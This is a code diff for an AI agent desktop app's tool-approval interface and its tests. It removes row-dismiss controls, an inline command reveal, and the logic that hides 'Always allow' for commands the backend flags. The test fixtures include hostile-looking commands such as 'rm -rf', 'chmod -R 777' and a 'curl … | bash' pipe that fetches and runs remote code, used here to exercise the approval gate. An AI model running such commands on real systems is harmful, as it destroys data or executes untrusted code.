   $activeSessionId.set(null)
-  clearDismissedToolRows()
 })
 
 describe('flat tool list approval surfacing', () => {
@@ -236,64 +155,4 @@ describe('flat tool list approval surfacing', () => {
       expect(bar?.closest('[hidden]')).toBeNull()
     })
   })
-
-  it('lets completed tool rows be dismissed', async () => {
-    const { container } = render(<GroupHarness message={completedOnlyMessage()} />)
-
-    const dismiss = await screen.findByLabelText('Dismiss')
-
-    expect(container.querySelectorAll('[data-slot="tool-block"]').length).toBeGreaterThan(1)
-
-    fireEvent.click(dismiss)
-
-    await waitFor(() => {
-      expect(screen.queryByLabelText('Dismiss')).toBeNull()
-    })
-  })
-
-  it('keeps a dismissed row hidden after a remount (virtualization)', async () => {
-    // The thread virtualizes, so a row's component unmounts/remounts as it
-    // scrolls. Dismissal must persist across that — component-local state would
-    // forget it and the row would pop back. Simulate the remount by unmounting
-    // and rendering the same message fresh.
-    const first = render(<GroupHarness message={completedOnlyMessage()} />)
-
-    fireEvent.click(await screen.findByLabelText('Dismiss'))
-
-    await waitFor(() => {
-      expect(screen.queryByLabelText('Dismiss')).toBeNull()
-    })
-
-    first.unmount()
-
-    const { container } = render(<GroupHarness message={completedOnlyMessage()} />)
-
-    await waitFor(() => {
-      expect(container.querySelectorAll('[data-slot="tool-block"]').length).toBeGreaterThan(0)
-    })
-
-    expect(screen.queryByLabelText('Dismiss')).toBeNull()
-  })
-
-  it('lets failed tool rows be dismissed', async () => {
-    render(<GroupHarness message={failedOnlyMessage()} />)
-
-    const dismiss = await screen.findByLabelText('Dismiss')
-
-    fireEvent.click(dismiss)
-
-    await waitFor(() => {
-      expect(screen.queryByLabelText('Dismiss')).toBeNull()
-    })
-  })
-
-  it('does not show dismiss for pending tool rows', async () => {
-    const { container } = render(<GroupHarness message={pendingOnlyMessage()} />)
-
-    await waitFor(() => {
-      expect(container.querySelectorAll('[data-slot="tool-block"]').length).toBeGreaterThan(0)
-    })
-
-    expect(screen.queryByLabelText('Dismiss')).toBeNull()
-  })
 })

apps/desktop/src/components/assistant-ui/tool-approval.test.tsx

@@ -1,5 +1,5 @@
 import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
-import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+import { afterEach, describe, expect, it, vi } from 'vitest'
 
 import type { HermesGateway } from '@/hermes'
 import { $gateway } from '@/store/gateway'
@@ -9,30 +9,13 @@ import { $activeSessionId } from '@/store/session'
 import { PendingToolApproval } from './tool-approval'
 import type { ToolPart } from './tool-fallback-model'
 
-// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
-// doesn't implement; stub them so the menu can open in tests.
-beforeAll(() => {
-  const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
-
-  const stubs: Record<string, () => unknown> = {
-    hasPointerCapture: () => false,
-    releasePointerCapture: () => undefined,
-    scrollIntoView: () => undefined,
-    setPointerCapture: () => undefined
-  }
-
-  for (const [name, fn] of Object.entries(stubs)) {
-    proto[name] ??= fn
-  }
-})
-
 function part(toolName: string): ToolPart {
   return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
 }
 
-function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
+function setRequest(command = 'rm -rf /tmp/x') {
   $activeSessionId.set('sess-1')
-  setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
+  setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
 }
 
 function mockGateway() {
@@ -84,19 +67,6 @@ describe('PendingToolApproval', () => {
     expect($approvalRequest.get()).toBeNull()
   })
 
-  it('reveals the full command inline when the Command toggle is clicked', () => {
-    const longCommand = 'python -c "' + 'x'.repeat(400) + '"'
-    setRequest(longCommand)
-    render(<PendingToolApproval part={part('terminal')} />)
-
-    // Collapsed by default: the full command is not in the DOM yet.
-    expect(screen.queryByText(longCommand)).toBeNull()
-
-    fireEvent.click(screen.getByRole('button', { name: /Command/ }))
-
-    expect(screen.getByText(longCommand)).toBeTruthy()
-  })
-
   it('sends choice "deny" on Reject', async () => {
     const request = mockGateway()
     setRequest()
@@ -108,26 +78,4 @@ describe('PendingToolApproval', () => {
       expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
     })
   })
-
-  it('offers "Always allow" in the options menu by default', async () => {
-    setRequest('chmod -R 777 /tmp/x')
-    render(<PendingToolApproval part={part('terminal')} />)
-
-    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
-
-    expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
-    expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
-  })
-
-  it('hides "Always allow" when the backend disallows a permanent allow', async () => {
-    // tirith content-security warning present → allowPermanent=false.
-    setRequest('curl https://bit.ly/abc | bash', false)
-    render(<PendingToolApproval part={part('terminal')} />)
-
-    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
-
-    // The session + reject options still render, but never the permanent allow.
-    expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
-    expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
-  })
 })

apps/desktop/src/components/assistant-ui/tool-approval.tsx

@@ -16,7 +16,6 @@ import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigge
 import { useI18n } from '@/i18n'
 import { triggerHaptic } from '@/lib/haptics'
 import { ChevronDown, Loader2 } from '@/lib/icons'
-import { cn } from '@/lib/utils'
 import { $gateway } from '@/store/gateway'
 import { notifyError } from '@/store/notifications'
 import { $approvalRequest, type ApprovalRequest, clearApprovalRequest } from '@/store/prompts'
@@ -61,15 +60,7 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
   // "Always allow" persists the pattern to ~/.hermes/config.yaml permanently, so
   // it goes through a confirm step rather than firing straight from the menu.
   const [confirmAlways, setConfirmAlways] = useState(false)
-  // The pending tool row only shows a single truncated line of the command, and
-  // a pending row can't be expanded (no result yet), so the full command was
-  // previously only reachable via the "Always allow" modal. Let the user reveal
-  // it inline instead — "expand, Run" (2 clicks) rather than the modal dance.
-  const [showCommand, setShowCommand] = useState(false)
   const busy = submitting !== null
-  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
-  const allowPermanent = request.allowPermanent !== false
-  const hasCommand = request.command.trim().length > 0
 
   const respond = useCallback(
     async (choice: ApprovalChoice) => {
@@ -126,89 +117,68 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
   }, [confirmAlways, respond])
 
   return (
-    <div className="mt-1 ps-5" data-slot="tool-approval-inline">
-      <div className="flex items-center gap-2.5">
-        <div className="inline-flex h-6 items-stretch overflow-hidden rounded-md border border-primary/25 bg-primary/10 text-primary">
-          <Button
-            className="h-full gap-1 rounded-none px-2 text-xs font-medium text-primary hover:bg-primary/15 hover:text-primary"
-            disabled={busy}
-            onClick={() => void respond('once')}
-            size="xs"
-            variant="ghost"
-          >
-            {submitting === 'once' ? <Loader2 className="size-3 animate-spin" /> : copy.run}
-            {submitting !== 'once' && <span className="text-[0.625rem] text-primary/60">{isMac ? '⌘⏎' : 'Ctrl⏎'}</span>}
-          </Button>
-          <span aria-hidden className="w-px self-stretch bg-primary/20" />
-          <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-              <Button
-                aria-label={copy.moreOptions}
-                className="h-full w-5 rounded-none px-0 text-primary hover:bg-primary/15 hover:text-primary"
-                disabled={busy}
-                size="xs"
-                variant="ghost"
-              >
-                <ChevronDown className="size-3" />
-              </Button>
-            </DropdownMenuTrigger>
-            <DropdownMenuContent align="start" className="min-w-44">
-              <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
-              {allowPermanent && (
-                <DropdownMenuItem
-                  onSelect={() => {
-                    // Defer one tick so the menu fully unmounts before the dialog
-                    // mounts — otherwise Radix's focus-return races the dialog and
-                    // dismisses it via onInteractOutside.
-                    setTimeout(() => setConfirmAlways(true), 0)
-                  }}
-                >
-                  {copy.alwaysAllowMenu}
-                </DropdownMenuItem>
-              )}
-              <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
-                {copy.reject}
-              </DropdownMenuItem>
-            </DropdownMenuContent>
-          </DropdownMenu>
-        </div>
-
+    <div className="mt-1 flex items-center gap-2.5 ps-5" data-slot="tool-approval-inline">
+      <div className="inline-flex h-6 items-stretch overflow-hidden rounded-md border border-primary/25 bg-primary/10 text-primary">
         <Button
-          className="h-6 gap-1.5 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
+          className="h-full gap-1 rounded-none px-2 text-xs font-medium text-primary hover:bg-primary/15 hover:text-primary"
           disabled={busy}
-          onClick={() => void respond('deny')}
+          onClick={() => void respond('once')}
           size="xs"
           variant="ghost"
         >
-          {submitting === 'deny' ? <Loader2 className="size-3 animate-spin" /> : copy.reject}
-          {submitting !== 'deny' && <span className="text-[0.625rem] opacity-55">Esc</span>}
+          {submitting === 'once' ? <Loader2 className="size-3 animate-spin" /> : copy.run}
+          {submitting !== 'once' && <span className="text-[0.625rem] text-primary/60">{isMac ? '⌘⏎' : 'Ctrl⏎'}</span>}
         </Button>
-
-        {hasCommand && (
-          <Button
-            aria-expanded={showCommand}
-            className="h-6 gap-1 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
-            onClick={() => setShowCommand(value => !value)}
-            size="xs"
-            variant="ghost"
-          >
-            {copy.command}
-            <ChevronDown className={cn('size-3 transition-transform', showCommand && 'rotate-180')} />
-          </Button>
-        )}
+        <span aria-hidden className="w-px self-stretch bg-primary/20" />
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <Button
+              aria-label={copy.moreOptions}
+              className="h-full w-5 rounded-none px-0 text-primary hover:bg-primary/15 hover:text-primary"
+              disabled={busy}
+              size="xs"
+              variant="ghost"
+            >
+              <ChevronDown className="size-3" />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="start" className="min-w-44">
+            <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
+            <DropdownMenuItem
+              onSelect={() => {
+                // Defer one tick so the menu fully unmounts before the dialog
+                // mounts — otherwise Radix's focus-return races the dialog and
+                // dismisses it via onInteractOutside.
+                setTimeout(() => setConfirmAlways(true), 0)
+              }}
+            >
+              {copy.alwaysAllowMenu}
+            </DropdownMenuItem>
+            <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
+              {copy.reject}
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
 
-      {showCommand && hasCommand && (
-        <pre className="mt-1.5 max-h-40 overflow-auto whitespace-pre-wrap break-words rounded-md border border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-2.5 py-1.5 font-mono text-xs leading-snug text-foreground">
-          {request.command.trim()}
-        </pre>
-      )}
+      <Button
+        className="h-6 gap-1.5 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
+        disabled={busy}
+        onClick={() => void respond('deny')}
+        size="xs"
+        variant="ghost"
+      >
+        {submitting === 'deny' ? <Loader2 className="size-3 animate-spin" /> : copy.reject}
+        {submitting !== 'deny' && <span className="text-[0.625rem] opacity-55">Esc</span>}
+      </Button>
 
       <Dialog onOpenChange={setConfirmAlways} open={confirmAlways}>
         <DialogContent className="max-w-md">
           <DialogHeader>
             <DialogTitle>{copy.alwaysTitle}</DialogTitle>
-            <DialogDescription>{copy.alwaysDescription(request.description)}</DialogDescription>
+            <DialogDescription>
+              {copy.alwaysDescription(request.description)}
+            </DialogDescription>
           </DialogHeader>
 
           {request.command.trim() && (

apps/desktop/src/components/assistant-ui/tool-fallback.tsx

@@ -12,20 +12,16 @@ import { DiffLines } from '@/components/chat/diff-lines'
 import { DisclosureRow } from '@/components/chat/disclosure-row'
 import { PreviewAttachment } from '@/components/chat/preview-attachment'
 import { ZoomableImage } from '@/components/chat/zoomable-image'
-import { Button } from '@/components/ui/button'
-import { Codicon } from '@/components/ui/codicon'
+import { BrailleSpinner } from '@/components/ui/braille-spinner'
 import { CopyButton } from '@/components/ui/copy-button'
 import { FadeText } from '@/components/ui/fade-text'
-import { GlyphSpinner } from '@/components/ui/glyph-spinner'
 import { ToolIcon } from '@/components/ui/tool-icon'
-import { Tip } from '@/components/ui/tooltip'
 import { useI18n } from '@/i18n'
 import { PrettyLink, LinkifiedText as SharedLinkifiedText, urlSlugTitleLabel } from '@/lib/external-link'
 import { AlertCircle, CheckCircle2 } from '@/lib/icons'
 import { useEnterAnimation } from '@/lib/use-enter-animation'
 import { cn } from '@/lib/utils'
 import { $toolInlineDiffs } from '@/store/tool-diffs'
-import { $toolRowDismissed, dismissToolRow } from '@/store/tool-dismiss'
 import { $toolDisclosureOpen, $toolViewMode, setToolDisclosureOpen } from '@/store/tool-view'
 
 import { PendingToolApproval } from './tool-approval'
@@ -104,7 +100,7 @@ function rawTechnicalTrace(args: unknown, result: unknown): string {
 function statusGlyph(status: ToolStatus, copy: ToolStatusCopy): ReactNode {
   if (status === 'running') {
     return (
-      <GlyphSpinner
+      <BrailleSpinner
         ariaLabel={copy.statusRunning}
         className="size-3.5 shrink-0 text-[0.95rem] text-(--ui-text-tertiary)"
         spinner="breathe"
@@ -118,7 +114,10 @@ function statusGlyph(status: ToolStatus, copy: ToolStatusCopy): ReactNode {
 
   if (status === 'warning') {
     return (
-      <AlertCircle aria-label={copy.statusRecovered} className="size-3.5 shrink-0 text-amber-600 dark:text-amber-400" />
+      <AlertCircle
+        aria-label={copy.statusRecovered}
+        className="size-3.5 shrink-0 text-amber-600 dark:text-amber-400"
+      />
     )
   }
 
@@ -197,16 +196,13 @@ function useDisclosureOpen(disclosureId: string, fallbackOpen = false): boolean
 function ToolEntry({ part }: ToolEntryProps) {
   const { t } = useI18n()
   const copy = t.assistant.tool
-  const statusCopy = t.statusStack
   const messageId = useAuiState(s => s.message.id)
   const messageRunning = useAuiState(selectMessageRunning)
   const embedded = useContext(ToolEmbedContext)
   const toolViewMode = useStore($toolViewMode)
   const disclosureId = `tool-entry:${messageId}:${toolPartDisclosureId(part)}`
-  const dismissed = useStore($toolRowDismissed(disclosureId))
   const open = useDisclosureOpen(disclosureId)
   const isPending = messageRunning && part.result === undefined
-  const canDismiss = !isPending && !embedded
   // Only animate entries that mount while their message is actively
   // streaming — historical sessions mount with `messageRunning === false`,
   // so they paint statically without a settle cascade. The wrapping group
@@ -283,39 +279,12 @@ function ToolEntry({ part }: ToolEntryProps) {
 
   const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
 
-  // The header trailing slot only carries the live duration timer while the
-  // tool is running. The copy control used to live here too, but an
-  // `opacity-0` (yet still clickable) button straddling the caret/duration made
-  // the disclosure caret hard to hit. Copy now lives in the expanded body's
-  // top-right, where it can't fight the caret for the right edge.
   const trailing =
-    isPending && !embedded ? <ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} /> : undefined
-
-  // Once a turn has settled, a hover/focus-revealed dismiss lets the user clear
-  // a completed/failed row that would otherwise sit at the tail of the chat.
-  // It goes in the in-flow `action` slot (not `trailing`) so it can't overlap
-  // the disclosure caret's hit-target — see the comment above `trailing`.
-  const dismissAction = canDismiss ? (
-    <Tip label={statusCopy.dismiss}>
-      <Button
-        aria-label={statusCopy.dismiss}
-        className="size-5 rounded-md text-(--ui-text-tertiary) opacity-0 transition-opacity hover:text-(--ui-text-primary) hover:opacity-100 group-hover/disclosure-row:opacity-80 group-focus-within/disclosure-row:opacity-80"
-        onClick={event => {
-          event.stopPropagation()
-          dismissToolRow(disclosureId)
-        }}
-        size="icon-xs"
-        type="button"
-        variant="ghost"
-      >
-        <Codicon name="close" size="0.75rem" />
-      </Button>
-    </Tip>
-  ) : undefined
-
-  if (dismissed) {
-    return null
-  }
+    isPending && !embedded ? (
+      <ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} />
+    ) : !isPending && copyAction.text ? (
+      <CopyButton appearance="tool-row" label={copyAction.label} stopPropagation text={copyAction.text} />
+    ) : undefined
 
   return (
     <div
@@ -328,7 +297,6 @@ function ToolEntry({ part }: ToolEntryProps) {
     >
       <div className={cn(open && 'border-b border-(--ui-stroke-tertiary) px-2 py-1.5')}>
         <DisclosureRow
-          action={dismissAction}
           onToggle={hasExpandableContent ? () => setToolDisclosureOpen(disclosureId, !open) : undefined}
           open={open}
           trailing={trailing}
@@ -354,18 +322,7 @@ function ToolEntry({ part }: ToolEntryProps) {
       </div>
       {isPending && <PendingToolApproval part={part} />}
       {open && (
-        <div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
-          {copyAction.text && (
-            <CopyButton
-              appearance="inline"
-              className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/80 px-1 opacity-60 backdrop-blur-sm transition-opacity hover:opacity-100 focus-visible:opacity-100"
-              iconClassName="size-3"
-              label={copyAction.label}
-              showLabel={false}
-              stopPropagation
-              text={copyAction.text}
-            />
-          )}
+        <div className="grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
           {!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
             <PreviewAttachment source="tool-result" target={view.previewTarget} />
           )}

apps/desktop/src/components/assistant-ui/user-message-text.tsx

@@ -127,9 +127,7 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
   const nodes = useMemo(() => splitInlineCode(text), [text])
 
   return (
-    // styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
-    // UAX#9 paragraph so it resolves direction independently.
-    <span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
+    <span className="wrap-anywhere block whitespace-pre-line">
       {nodes.map((node, nodeIndex) =>
         node.kind === 'inline-code' ? (
           <code

apps/desktop/src/components/chat/composer-dock.ts

@@ -1,31 +0,0 @@
-import { cn } from '@/lib/utils'
-
-/**
- * The composer surface and everything docked to it (slash·@ popover, `?` help)
- * paint ONE shared `--composer-fill` var. The state ladder (rest / scrolled /
- * focused / drawer-open) lives in styles.css on `[data-slot='composer-root']`,
- * so the two layers can never disagree — drawer-open forces an opaque fill via
- * `:has()`, because translucent glass sampling different backdrops (thread vs
- * fade gradient) renders as different colors even with identical tints.
- */
-export const composerFill = 'bg-(--composer-fill)'
-
-/** Backdrop treatment for the composer input surface. Harmless when the fill
- *  goes opaque (drawer open) — nothing shows through to blur. */
-export const composerSurfaceGlass = cn(
-  'backdrop-blur-[0.75rem] backdrop-saturate-[1.12] [-webkit-backdrop-filter:blur(0.75rem)_saturate(1.12)]',
-  'transition-[background-color] duration-150 ease-out'
-)
-
-const composerDockEdge = (edge: 'bottom' | 'top') =>
-  cn('border border-border/65', edge === 'top' ? 'rounded-t-2xl border-b-0' : 'rounded-b-2xl border-t-0')
-
-/** Glassy docked card — the status stack / queue. Paints the SAME
- *  `--composer-fill` as the surface, so rest / scrolled / focused / drawer-open
- *  all match the composer by construction. */
-export const composerDockCard = (edge: 'bottom' | 'top' = 'top') =>
-  cn(composerDockEdge(edge), composerFill, composerSurfaceGlass)
-
-/** Fused docked card — completion drawers. Shares `--composer-fill` with the
- *  composer surface, which goes opaque while a drawer is open. */
-export const composerFusedDockCard = (edge: 'bottom' | 'top' = 'top') => cn(composerDockEdge(edge), composerFill)